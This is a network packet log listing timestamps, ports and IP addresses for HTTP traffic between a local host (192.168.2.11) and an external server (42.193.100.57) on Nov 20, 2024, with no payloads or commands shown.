Nov 20, 2024 09:14:54.786684036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786696911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786708117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786710978 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786726952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786756992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786766052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786834955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786845922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786858082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.786871910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786884069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786905050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.786992073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787003040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787013054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787024021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787034035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787034988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787045956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787060976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787089109 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787090063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787115097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787123919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787130117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787136078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787153959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787157059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787167072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787185907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787441015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787452936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787465096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787473917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787480116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787484884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787497044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787497997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787509918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787519932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787528992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787530899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787549019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787556887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787569046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787571907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787579060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787595034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787604094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787610054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787617922 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787621021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787632942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787636995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787647009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787659883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787668943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787688017 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787709951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787719011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787729979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787741899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787756920 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787769079 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787790060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787899017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787909985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787920952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.787940979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787965059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.787965059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788089991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788105965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788129091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788144112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788144112 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788156986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788168907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788178921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788182020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788191080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788203001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788204908 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788219929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788230896 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788233042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788239956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788263083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788275957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788275957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788305044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788322926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788465977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788477898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788487911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788494110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788505077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788512945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788523912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788526058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788537025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.788552999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.788573027 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.992754936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992780924 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992799044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992810965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992822886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992834091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992852926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992863894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992877007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.992877960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992891073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992907047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992932081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992943048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992947102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.992954969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992960930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.992970943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.992985010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.992999077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993010998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993031979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993041039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993045092 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993057966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993089914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993096113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993103027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993113995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993124962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993132114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993132114 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993140936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993169069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993175030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993186951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993207932 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993218899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993230104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993236065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993247032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993248940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993263006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993269920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993278980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993282080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993294954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993309021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993338108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993338108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993369102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993385077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993396044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993417025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993429899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993436098 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993448019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993469000 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993486881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993561029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993572950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993583918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993601084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993601084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993617058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993618965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993642092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993650913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993664026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993665934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993683100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993686914 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993695974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993706942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993719101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993721008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993750095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993766069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993772984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993786097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993797064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993808031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993824959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993832111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993840933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993844986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993865013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993884087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993889093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993901014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993912935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.993922949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993937969 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.993952990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994045973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994066954 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994080067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994081974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994092941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994096994 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994106054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994117022 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994127035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994127989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994141102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994143963 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994154930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994155884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994170904 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994174957 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994191885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994225979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994309902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994322062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994333029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994343042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994343996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994355917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994359016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994369030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994379997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994380951 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994391918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994410038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994410038 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994417906 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994424105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994441032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994451046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994452000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994477034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994487047 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994524002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994537115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994543076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994553089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994565964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994580984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994596004 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994601011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994620085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994642973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994676113 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994688988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994699001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994709969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994716883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994724989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994724989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994749069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994752884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994766951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994774103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994781017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994795084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994800091 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994817019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994832039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994874001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994887114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.994936943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.994936943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995017052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995033979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995043993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995057106 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995064020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995064020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995083094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995096922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995109081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995119095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995130062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995141029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995141983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995152950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995157957 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995167017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995182037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995182991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995201111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995224953 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995251894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995264053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995275974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995290995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995357990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995630980 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995642900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995652914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995665073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995667934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995676994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995688915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995707035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995717049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995718956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995731115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995731115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995743990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995755911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:54.995757103 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995770931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:54.995785952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.079740047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079762936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079782009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079794884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079807997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079823971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079844952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079857111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079862118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.079873085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079886913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079898119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079916954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.079938889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079940081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.079952955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079965115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079977989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.079981089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080003977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080024004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080030918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080037117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080051899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080064058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080075979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080099106 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080106020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080117941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080130100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:55.080147028 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:55.080157995 CET	49701	80	192.168.2.11	42.193.100.57
